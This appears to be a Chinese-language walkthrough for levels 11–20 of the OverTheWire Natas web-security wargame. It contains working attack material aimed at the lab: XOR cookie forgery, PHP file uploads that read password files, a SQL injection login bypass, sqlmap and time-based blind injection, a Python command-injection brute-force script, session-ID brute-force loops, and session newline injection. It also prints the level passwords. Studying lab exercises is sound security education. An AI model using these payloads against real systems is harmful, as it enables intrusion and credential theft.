Natas通關指南(11-20)

接上一篇Natas通關指南(1-10) 繼續闖關

OverTheWire 是一個 wargame 網站。其中 Natas 是一個適合學習Web安全基礎的遊戲,在Natas 中,我們需要通過找到網站的漏洞獲得通往下一關的密碼。每一關都有一個網站,類似 http://natasX.natas.labs.overthewire.org,其中X是每一關的編號。每一關都要輸入用戶名(例如,level0的用戶名是natas0)及其密碼才能訪問。所有密碼存儲在 /etc/natas_webpass/中。例如natas1的密碼存儲在文件 /etc/natas_webpass/natas1中,只能由natas0natas1讀取。

網站:

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome瀏覽器;Curl;BurpSuite;SQLMap

Level 11-12

Username: natas11

Password: natas11

URL: http://natas11.natas.labs.overthewire.org

首先使用我們之前得到的密碼: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登錄natas11,得到一句提示:

  1. Cookies are protected with XOR encryption

還有一個可以設置背景顏色的輸入框,輸入16進制的色值,即可設置網頁背景顏色,同樣可以通過點擊 Viewsourcecode查看源碼。關鍵代碼如下:

  1. $defaultdata = array(
  2. "showpassword"
  3. =>
  4. "no"
  5. ,
  6. "bgcolor"
  7. =>
  8. "#ffffff"
  9. );
  10. function
  11. xor_encrypt($in) {
  12. $key =
  13. ''
  14. ;
  15. $text = $in;
  16. $outText =
  17. ''
  18. ;
  19. // Iterate through each character
  20. for
  21. ($i=
  22. 0
  23. ;$i
  24. $outText .= $text[$i] ^ $key[$i % strlen($key)];
  25. }
  26. return
  27. $outText;
  28. }
  29. function
  30. loadData($def) {
  31. global
  32. $_COOKIE;
  33. $mydata = $def;
  34. if
  35. (array_key_exists(
  36. "data"
  37. , $_COOKIE)) {
  38. $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[
  39. "data"
  40. ])),
  41. true
  42. );
  43. if
  44. (is_array($tempdata) && array_key_exists(
  45. "showpassword"
  46. , $tempdata) && array_key_exists(
  47. "bgcolor"
  48. , $tempdata)) {
  49. if
  50. (preg_match(
  51. '/^#(?:[a-f\d]{6})$/i'
  52. , $tempdata[
  53. 'bgcolor'
  54. ])) {
  55. $mydata[
  56. 'showpassword'
  57. ] = $tempdata[
  58. 'showpassword'
  59. ];
  60. $mydata[
  61. 'bgcolor'
  62. ] = $tempdata[
  63. 'bgcolor'
  64. ];
  65. }
  66. }
  67. }
  68. return
  69. $mydata;
  70. }
  71. function
  72. saveData($d) {
  73. setcookie(
  74. "data"
  75. , base64_encode(xor_encrypt(json_encode($d))));
  76. }
  77. $data = loadData($defaultdata);
  78. if
  79. (array_key_exists(
  80. "bgcolor"
  81. ,$_REQUEST)) {
  82. if
  83. (preg_match(
  84. '/^#(?:[a-f\d]{6})$/i'
  85. , $_REQUEST[
  86. 'bgcolor'
  87. ])) {
  88. $data[
  89. 'bgcolor'
  90. ] = $_REQUEST[
  91. 'bgcolor'
  92. ];
  93. }
  94. }
  95. saveData($data);
  96. ?>
  97. natas11
  98. "content"
  99. >
  100. "background: =$data['bgcolor']?>;"
  101. >
  102. Cookies
  103. are
  104. protected
  105. with
  106. XOR encryption

  107. if
  108. ($data[
  109. "showpassword"
  110. ] ==
  111. "yes"
  112. ) {
  113. print
  114. "The password for natas12 is
    "
  115. ;
  116. }
  117. ?>
  118. 從代碼可以看出,通過一些列的編碼,包括 base64加密, php異或運算。把用戶輸入的數據編碼進 cookie裡面。通過瀏覽器可以查看到data這個值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword這個參數決定了我們是否能看到下一關密碼。代碼中有個 censored的 key,這個是 php用來做異或運算加密用到的 key,我們需要先算出這 key值,然後用這個值作為 key進行運算和一些列編碼,計算出新的 cookie傳入,即可得到下一關的密碼。

    key值計算:

    1. $orig_cookie = base64_decode(
    2. 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'
    3. );
    4. function
    5. xor_encrypt($in) {
    6. $text = $in;
    7. $key = json_encode(array(
    8. "showpassword"
    9. =>
    10. "no"
    11. ,
    12. "bgcolor"
    13. =>
    14. "#ffffff"
    15. ));
    16. $out =
    17. ''
    18. ;
    19. for
    20. ($i=
    21. 0
    22. ;$i
    23. $out .= $text[$i] ^ $key[$i % strlen($key)];
    24. }
    25. return
    26. $out;
    27. }
    28. echo xor_encrypt($orig_cookie);
    29. ?>

    得到的結果是 qw8J

    計算新的Cookie:

    1. $defaultdata = array(
    2. "showpassword"
    3. =>
    4. "yes"
    5. ,
    6. "bgcolor"
    7. =>
    8. "#ffffff"
    9. );
    10. function
    11. xor_encrypt($in) {
    12. $key =
    13. 'qw8J'
    14. ;
    15. $text = $in;
    16. $out =
    17. ''
    18. ;
    19. // Iterate through each character
    20. for
    21. ($i=
    22. 0
    23. ;$i
    24. $out .= $text[$i] ^ $key[$i % strlen($key)];
    25. }
    26. return
    27. $out;
    28. }
    29. function
    30. loadData($def) {
    31. $mydata = $def;
    32. $tempdata = json_decode(xor_encrypt(base64_decode($data)),
    33. true
    34. );
    35. return
    36. $mydata;
    37. }
    38. echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
    39. ?>

    結果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,傳入新的Cookie:

    1. curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie
    2. "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
    3. HTTP/
    4. 1.1
    5. 200
    6. OK
    7. Date
    8. :
    9. Mon
    10. ,
    11. 27
    12. Aug
    13. 2018
    14. 13
    15. :
    16. 40
    17. :
    18. 47
    19. GMT
    20. Server
    21. :
    22. Apache
    23. /
    24. 2.4
    25. .
    26. 10
    27. (
    28. Debian
    29. )
    30. Set
    31. -
    32. Cookie
    33. : data=
    34. ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
    35. ......
    36. Cookies
    37. are
    38. protected
    39. with
    40. XOR encryption

    41. The
    42. password
    43. for
    44. natas12
    45. is
    46. EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

    47. ......

    得到密碼。

    Level 12-13

    Username: natas12

    URL: http://natas12.natas.labs.overthewire.org

    登錄natas12,可以看到是一個上傳文件功能:

    1. Choose a JPEG to upload (max 1KB):

    提示可以上傳圖片,最大不超過1kB,點擊 Viewsourcecode查看源碼,關鍵代碼如下:

    1. function
    2. genRandomString() {
    3. $length =
    4. 10
    5. ;
    6. $characters =
    7. "0123456789abcdefghijklmnopqrstuvwxyz"
    8. ;
    9. $string =
    10. ""
    11. ;
    12. for
    13. ($p =
    14. 0
    15. ; $p < $length; $p++) {
    16. $string .= $characters[mt_rand(
    17. 0
    18. , strlen($characters)-
    19. 1
    20. )];
    21. }
    22. return
    23. $string;
    24. }
    25. function
    26. makeRandomPath($dir, $ext) {
    27. do
    28. {
    29. $path = $dir.
    30. "/"
    31. .genRandomString().
    32. "."
    33. .$ext;
    34. }
    35. while
    36. (file_exists($path));
    37. return
    38. $path;
    39. }
    40. function
    41. makeRandomPathFromFilename($dir, $fn) {
    42. $ext = pathinfo($fn, PATHINFO_EXTENSION);
    43. return
    44. makeRandomPath($dir, $ext);
    45. }
    46. if
    47. (array_key_exists(
    48. "filename"
    49. , $_POST)) {
    50. $target_path = makeRandomPathFromFilename(
    51. "upload"
    52. , $_POST[
    53. "filename"
    54. ]);
    55. if
    56. (filesize($_FILES[
    57. 'uploadedfile'
    58. ][
    59. 'tmp_name'
    60. ]) >
    61. 1000
    62. ) {
    63. echo
    64. "File is too big"
    65. ;
    66. }
    67. else
    68. {
    69. if
    70. (move_uploaded_file($_FILES[
    71. 'uploadedfile'
    72. ][
    73. 'tmp_name'
    74. ], $target_path)) {
    75. echo
    76. "The file has been uploaded"
    77. ;
    78. }
    79. else
    80. {
    81. echo
    82. "There was an error uploading the file, please try again!"
    83. ;
    84. }
    85. }
    86. }
    87. else
    88. {
    89. ?>
    90. enctype
    91. =
    92. "multipart/form-data"
    93. action
    94. =
    95. "index.php"
    96. method
    97. =
    98. "POST"
    99. >
    100. type
    101. =
    102. "hidden"
    103. name
    104. =
    105. "MAX_FILE_SIZE"
    106. value
    107. =
    108. "1000"
    109. />
    110. Choose a JPEG to upload (max 1KB):

    111. name
    112. =
    113. "uploadedfile"
    114. type
    115. =
    116. "file"
    117. />
    118. />
    119. type
    120. =
    121. "submit"
    122. value
    123. =
    124. "Upload File"
    125. />

    通過閱讀代碼,可以發現除了限制文件大小和文件擴展名做了前端限制之外,並沒有檢測文件類型。而且還會返回上傳後的路徑,那我們直接上傳一個 php文件去讀取 natas13的密碼即可。你可以通過 BurpSuite之類的工具修改上傳的 filename後綴即可。

    1. ///getpass.php
    2. $getpass = file_get_contents(
    3. '/etc/natas_webpass/natas13'
    4. );
    5. echo $getpass;
    6. ?>

    得到密碼: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

    Level 13-14

    Username: natas13

    URL: http://natas13.natas.labs.overthewire.org

    頁面和前一關一樣,不過查看源代碼發現這一次限制了文件類型,通過 php的函數 exif_imagetype() 來驗證文件類型,通過查看php的文檔,這個函數通過檢查文件的簽名(第一個字節),從而檢測文件類型。關鍵代碼如下:

    1. }
    2. else
    3. if
    4. (! exif_imagetype($_FILES[
    5. 'uploadedfile'
    6. ][
    7. 'tmp_name'
    8. ])) {
    9. echo
    10. "File is not an image"
    11. ;
    12. }
    13. else
    14. {
    15. if
    16. (move_uploaded_file($_FILES[
    17. 'uploadedfile'
    18. ][
    19. 'tmp_name'
    20. ], $target_path)) {
    21. echo
    22. "The file has been uploaded"
    23. ;
    24. }
    25. else
    26. {
    27. echo
    28. "There was an error uploading the file, please try again!"
    29. ;
    30. }
    31. }
    32. }
    33. else
    34. {

    那我們只需在上傳的 php文件中加入任意圖片格式文件頭標識即可,比如 GIF98a

    1. GIF89a
    2. $getpass = file_get_contents(
    3. '/etc/natas_webpass/natas14'
    4. );
    5. echo $getpass;
    6. ?>

    上傳後訪問返回的路徑,得到密碼: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

    Level 14-15

    Username: natas14

    URL: http://natas14.natas.labs.overthewire.org

    訪問後,是一個登錄頁面,需要輸入 username和 password,查看代碼,關鍵代碼:

    1. if
    2. (array_key_exists(
    3. "username"
    4. , $_REQUEST)) {
    5. $link = mysql_connect(
    6. 'localhost'
    7. ,
    8. 'natas14'
    9. ,
    10. ''
    11. );
    12. mysql_select_db(
    13. 'natas14'
    14. , $link);
    15. $query =
    16. "SELECT * from users where username=""
    17. .$_REQUEST[
    18. "username"
    19. ].
    20. "" and password=""
    21. .$_REQUEST[
    22. "password"
    23. ].
    24. """
    25. ;
    26. if
    27. (array_key_exists(
    28. "debug"
    29. , $_GET)) {
    30. echo
    31. "Executing query: $query
      "
    32. ;
    33. }
    34. if
    35. (mysql_num_rows(mysql_query($query, $link)) >
    36. 0
    37. ) {
    38. echo
    39. "Successful login! The password for natas15 is
      "
    40. ;
    41. }
    42. else
    43. {
    44. echo
    45. "Access denied!
      "
    46. ;
    47. }
    48. mysql_close($link);
    49. }
    50. else
    51. {
    52. ?>

    很明顯的 SQL注入漏洞,沒有任何過濾,直接試試萬能密碼: " OR 1=1 #

    注入成功,得到密碼: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

    Level 15-16

    Username: natas15

    URL: http://natas15.natas.labs.overthewire.org

    頁面需要輸入一個 username,可以點擊 Checkexistence查詢用戶是否存在,關鍵代碼如下:

    1. natas15
    2. id
    3. =
    4. "content"
    5. >
    6. /*
    7. CREATE TABLE `users` (
    8. `username` varchar(64) DEFAULT NULL,
    9. `password` varchar(64) DEFAULT NULL
    10. );
    11. */
    12. if
    13. (array_key_exists(
    14. "username"
    15. , $_REQUEST)) {
    16. $link = mysql_connect(
    17. 'localhost'
    18. ,
    19. 'natas15'
    20. ,
    21. ''
    22. );
    23. mysql_select_db(
    24. 'natas15'
    25. , $link);
    26. $query =
    27. "SELECT * from users where username=""
    28. .$_REQUEST[
    29. "username"
    30. ].
    31. """
    32. ;
    33. if
    34. (array_key_exists(
    35. "debug"
    36. , $_GET)) {
    37. echo
    38. "Executing query: $query
      "
    39. ;
    40. }
    41. $res = mysql_query($query, $link);
    42. if
    43. ($res) {
    44. if
    45. (mysql_num_rows($res) >
    46. 0
    47. ) {
    48. echo
    49. "This user exists.
      "
    50. ;
    51. }
    52. else
    53. {
    54. echo
    55. "This user doesn't exist.
      "
    56. ;
    57. }
    58. }
    59. else
    60. {
    61. echo
    62. "Error in query.
      "
    63. ;
    64. }
    65. mysql_close($link);
    66. }
    67. else
    68. {
    69. ?>
    70. 這一關,頁面不會返回SQL結果。但可以通過錯誤提示判斷查詢的結果,所以可以使用SQL盲注,可以使用 LIKE表達式用通配符按個判斷。這裡我們直接用 sqlmap好了。

      1. sqlmap -u http:
      2. //natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

      或者寫python腳本獲取密碼,得到密碼 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

      Level 16-17

      Username: natas16

      URL: http://natas16.natas.labs.overthewire.org

      這一關和第9關,第10關很像,不過過濾了更多的字符

      頁面提示 Forsecurity reasons,we now filter even more on certain characters,頁面功能是 Findwords containing:,需要輸入一些內容,然後搜索,然後會輸出一些內容。關鍵代碼如下:

      1. $key =
      2. ""
      3. ;
      4. if
      5. (array_key_exists(
      6. "needle"
      7. , $_REQUEST)) {
      8. $key = $_REQUEST[
      9. "needle"
      10. ];
      11. }
      12. if
      13. ($key !=
      14. ""
      15. ) {
      16. if
      17. (preg_match(
      18. '/[;|&`\'"]/'
      19. ,$key)) {
      20. print
      21. "Input contains an illegal character!"
      22. ;
      23. }
      24. else
      25. {
      26. passthru(
      27. "grep -i "$key" dictionary.txt"
      28. );
      29. }
      30. }
      31. ?>

      雖然過濾了很多字符,但是沒有過濾 $和 ()。我們知道PHP裡的 $()即使在引號內也可以使用,所以我們可以構造注入語言 $(grep a/etc/natas_webpass/natas17),執行的語句是這樣的: passthru("grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt");所有的單詞都被返回了。 我們知道 dictionary.txt中存在字符串,比如說 A,用它與 $(grep)的返回值相加,如果內層返回了結果將檢索出空值,如果返回空值則外層的 grep會返回結果 。

      比如說:如 password中首字母為 a,構成

      grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由於內部的 $()命令返回了 a,則使外層命令變為

      grep-I"aA"dictionary.txt由於 dictionary中沒有 aA,從而返回空值

      而如果內層 $()命令返回空值,外層則能正確檢索到 A,於是返回值,證明首字母不是 a

      按照這個原理可以構造出爆破腳本

      1. import
      2. requests
      3. chars =
      4. '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
      5. exist =
      6. ''
      7. password =
      8. ''
      9. target =
      10. 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
      11. trueStr =
      12. 'Output:\n
        \n
        '
      13. for
      14. x
      15. in
      16. chars:
      17. r = requests.get(target+
      18. '?needle=$(grep '
      19. +x+
      20. ' /etc/natas_webpass/natas17)Getpass'
      21. )
      22. if
      23. r.content.find(trueStr) != -
      24. 1
      25. :
      26. exist += x
      27. print
      28. 'Using: '
      29. + exist
      30. for
      31. i
      32. in
      33. range(
      34. 32
      35. ):
      36. for
      37. c
      38. in
      39. exist:
      40. r = requests.get(target+
      41. '?needle=$(grep ^'
      42. +password+c+
      43. ' /etc/natas_webpass/natas17)Getpass'
      44. )
      45. if
      46. r.content.find(trueStr) != -
      47. 1
      48. :
      49. password += c
      50. print
      51. 'Password: '
      52. + password +
      53. '*'
      54. * int(
      55. 32
      56. - len(password))
      57. break

      得到密碼是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

      Level 17-18

      Username: natas17

      URL: http://natas17.natas.labs.overthewire.org

      同 natas15,不過沒有錯誤提示,所以可以用基於時間的盲注。

      得出的密碼是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

      Level 18-19

      Username: natas18

      URL: http://natas18.natas.labs.overthewire.org

      提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.

      同樣有一個登錄框,可以輸入 username和 password。關鍵代碼如下:

      1. $maxid =
      2. 640
      3. ;
      4. // 640 should be enough for everyone
      5. function
      6. isValidAdminLogin() {
      7. /* {{{ */
      8. if
      9. ($_REQUEST[
      10. "username"
      11. ] ==
      12. "admin"
      13. ) {
      14. /* This method of authentication appears to be unsafe and has been disabled for now. */
      15. //return 1;
      16. }
      17. return
      18. 0
      19. ;
      20. }
      21. /* }}} */
      22. function
      23. isValidID($id) {
      24. /* {{{ */
      25. return
      26. is_numeric($id);
      27. }
      28. /* }}} */
      29. function
      30. createID($user) {
      31. /* {{{ */
      32. global
      33. $maxid;
      34. return
      35. rand(
      36. 1
      37. , $maxid);
      38. }
      39. /* }}} */
      40. function
      41. debug($msg) {
      42. /* {{{ */
      43. if
      44. (array_key_exists(
      45. "debug"
      46. , $_GET)) {
      47. print
      48. "DEBUG: $msg
        "
      49. ;
      50. }
      51. }
      52. /* }}} */
      53. function
      54. my_session_start() {
      55. /* {{{ */
      56. if
      57. (array_key_exists(
      58. "PHPSESSID"
      59. , $_COOKIE)
      60. and
      61. isValidID($_COOKIE[
      62. "PHPSESSID"
      63. ])) {
      64. if
      65. (!session_start()) {
      66. debug(
      67. "Session start failed"
      68. );
      69. return
      70. false
      71. ;
      72. }
      73. else
      74. {
      75. debug(
      76. "Session start ok"
      77. );
      78. if
      79. (!array_key_exists(
      80. "admin"
      81. , $_SESSION)) {
      82. debug(
      83. "Session was old: admin flag set"
      84. );
      85. $_SESSION[
      86. "admin"
      87. ] =
      88. 0
      89. ;
      90. // backwards compatible, secure
      91. }
      92. return
      93. true
      94. ;
      95. }
      96. }
      97. return
      98. false
      99. ;
      100. }
      101. /* }}} */
      102. function
      103. print_credentials() {
      104. /* {{{ */
      105. if
      106. ($_SESSION
      107. and
      108. array_key_exists(
      109. "admin"
      110. , $_SESSION)
      111. and
      112. $_SESSION[
      113. "admin"
      114. ] ==
      115. 1
      116. ) {
      117. print
      118. "You are an admin. The credentials for the next level are:
        "
      119. ;
      120. print
      121. "
        Username: natas19\n"
      122. ;
      123. print
      124. "Password: "
      125. ;
      126. }
      127. else
      128. {
      129. print
      130. "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."
      131. ;
      132. }
      133. }
      134. /* }}} */
      135. $showform =
      136. true
      137. ;
      138. if
      139. (my_session_start()) {
      140. print_credentials();
      141. $showform =
      142. false
      143. ;
      144. }
      145. else
      146. {
      147. if
      148. (array_key_exists(
      149. "username"
      150. , $_REQUEST) && array_key_exists(
      151. "password"
      152. , $_REQUEST)) {
      153. session_id(createID($_REQUEST[
      154. "username"
      155. ]));
      156. session_start();
      157. $_SESSION[
      158. "admin"
      159. ] = isValidAdminLogin();
      160. debug(
      161. "New session started"
      162. );
      163. $showform =
      164. false
      165. ;
      166. print_credentials();
      167. }
      168. }
      169. if
      170. ($showform) {
      171. ?>

      從代碼上來看,沒有連接數據庫,說明不是 sql注入,但是我們注意到有一個變量 maxid,在 createID函數中,接收用戶名請求,並將其分配給 1到 640($maxid)之間的隨機整數。然後它將其初始化為 session_id。假設 PHPSESSID是來自 session_id的賦值,意味有1個會話ID分配會分配給“admin”。通過瀏覽器請求,我們發現 PHPSESSID的值確實是來自變量 maxid產生的 session_id值。

      所以我們只要窮舉 maxid的值就好了。可以用 Burpsuite爆破這個值,然後把它作為 PHPSESSID發送請求,即可得到密碼。密碼為 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

      如果嫌 Burpsuite太麻煩,用 shell腳本也可輕鬆搞定

      1. for
      2. i
      3. in
      4. `seq 640`
      5. do
      6. echo $i
      7. curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http:
      8. //natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
      9. done

      Level 19-20

      Username: natas19

      URL: http://natas19.natas.labs.overthewire.org

      提示是這樣的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一關一樣,只不過 PHPSESSID不再那麼簡單容易猜到而已。

      通過觀察,發現其 PHPSESSID,雖然一長串字符串,如 3237362d61646d696e,通過16進制解碼發現,都是由 3位數字-admin組成的,也就是說後面的 2d61646d696e是不變的。所以我們只需要窮舉 1-640之間的數字然後拼接 -admin做16進制轉換,再帶入 PHPSESSID中進行提交,就能找到那個屬於 admin的 PHPSESSID。最後得到的密碼是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

      Level 20-21

      Username: natas20

      URL: http://natas20.natas.labs.overthewire.org

      登錄後,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以輸入 Yourname,然後點 Changename,不過無論你輸入什麼頁面都沒有任何信息反饋給你。查看源碼,關鍵代碼如下:

      1. function
      2. debug($msg) {
      3. /* {{{ */
      4. if
      5. (array_key_exists(
      6. "debug"
      7. , $_GET)) {
      8. print
      9. "DEBUG: $msg
        "
      10. ;
      11. }
      12. }
      13. /* }}} */
      14. function
      15. print_credentials() {
      16. /* {{{ */
      17. if
      18. ($_SESSION
      19. and
      20. array_key_exists(
      21. "admin"
      22. , $_SESSION)
      23. and
      24. $_SESSION[
      25. "admin"
      26. ] ==
      27. 1
      28. ) {
      29. print
      30. "You are an admin. The credentials for the next level are:
        "
      31. ;
      32. print
      33. "
        Username: natas21\n"
      34. ;
      35. print
      36. "Password: "
      37. ;
      38. }
      39. else
      40. {
      41. print
      42. "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."
      43. ;
      44. }
      45. }
      46. /* }}} */
      47. /* we don't need this */
      48. function
      49. myopen($path, $name) {
      50. //debug("MYOPEN $path $name");
      51. return
      52. true
      53. ;
      54. }
      55. /* we don't need this */
      56. function
      57. myclose() {
      58. //debug("MYCLOSE");
      59. return
      60. true
      61. ;
      62. }
      63. function
      64. myread($sid) {
      65. debug(
      66. "MYREAD $sid"
      67. );
      68. if
      69. (strspn($sid,
      70. "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
      71. ) != strlen($sid)) {
      72. debug(
      73. "Invalid SID"
      74. );
      75. return
      76. ""
      77. ;
      78. }
      79. $filename = session_save_path() .
      80. "/"
      81. .
      82. "mysess_"
      83. . $sid;
      84. if
      85. (!file_exists($filename)) {
      86. debug(
      87. "Session file doesn't exist"
      88. );
      89. return
      90. ""
      91. ;
      92. }
      93. debug(
      94. "Reading from "
      95. . $filename);
      96. $data = file_get_contents($filename);
      97. $_SESSION = array();
      98. foreach
      99. (explode(
      100. "\n"
      101. , $data)
      102. as
      103. $line) {
      104. debug(
      105. "Read [$line]"
      106. );
      107. $parts = explode(
      108. " "
      109. , $line,
      110. 2
      111. );
      112. if
      113. ($parts[
      114. 0
      115. ] !=
      116. ""
      117. ) $_SESSION[$parts[
      118. 0
      119. ]] = $parts[
      120. 1
      121. ];
      122. }
      123. return
      124. session_encode();
      125. }
      126. function
      127. mywrite($sid, $data) {
      128. // $data contains the serialized version of $_SESSION
      129. // but our encoding is better
      130. debug(
      131. "MYWRITE $sid $data"
      132. );
      133. // make sure the sid is alnum only!!
      134. if
      135. (strspn($sid,
      136. "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
      137. ) != strlen($sid)) {
      138. debug(
      139. "Invalid SID"
      140. );
      141. return
      142. ;
      143. }
      144. $filename = session_save_path() .
      145. "/"
      146. .
      147. "mysess_"
      148. . $sid;
      149. $data =
      150. ""
      151. ;
      152. debug(
      153. "Saving in "
      154. . $filename);
      155. ksort($_SESSION);
      156. foreach
      157. ($_SESSION
      158. as
      159. $key => $value) {
      160. debug(
      161. "$key => $value"
      162. );
      163. $data .=
      164. "$key $value\n"
      165. ;
      166. }
      167. file_put_contents($filename, $data);
      168. chmod($filename,
      169. 0600
      170. );
      171. }
      172. /* we don't need this */
      173. function
      174. mydestroy($sid) {
      175. //debug("MYDESTROY $sid");
      176. return
      177. true
      178. ;
      179. }
      180. /* we don't need this */
      181. function
      182. mygarbage($t) {
      183. //debug("MYGARBAGE $t");
      184. return
      185. true
      186. ;
      187. }
      188. session_set_save_handler(
      189. "myopen"
      190. ,
      191. "myclose"
      192. ,
      193. "myread"
      194. ,
      195. "mywrite"
      196. ,
      197. "mydestroy"
      198. ,
      199. "mygarbage"
      200. );
      201. session_start();
      202. if
      203. (array_key_exists(
      204. "name"
      205. , $_REQUEST)) {
      206. $_SESSION[
      207. "name"
      208. ] = $_REQUEST[
      209. "name"
      210. ];
      211. debug(
      212. "Name set to "
      213. . $_REQUEST[
      214. "name"
      215. ]);
      216. }
      217. print_credentials();
      218. $name =
      219. ""
      220. ;
      221. if
      222. (array_key_exists(
      223. "name"
      224. , $_SESSION)) {
      225. $name = $_SESSION[
      226. "name"
      227. ];
      228. }
      229. ?>

      我們來看看每個函數的作用:

      debug($msg)表示打開了調試信息,可以通過在URL的末尾添加 /index.php?debug來查看調試消息 $msg。

      訪問之後將看到一些提示,類似這樣的:

      1. DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
      2. DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
      3. DEBUG: name => admin

      可以看出,登錄之後, $ _SESSION的值被存儲在一個文件中。

      重點在 mywrite和 myread這兩個關鍵函數,它們的作用是管理會話狀態。

      默認情況下, $ _SESSION中唯一的 key是 name,其值通過 /index.php中的表單提交進行設置。我們可以通過對 name鍵值對進行注入:將 data裡面的值變為: name xxxx \n admin1\n。

      對換行符編碼然後提交:

      1. http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

      再次訪問 http://natas20.natas.labs.overthewire.org即可得到密碼

      1. You are an admin. The credentials for the next level are:
      2. Username: natas21
      3. Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

      未完待續......

      Natas通關指南(11-20)


分享到:


相關文章: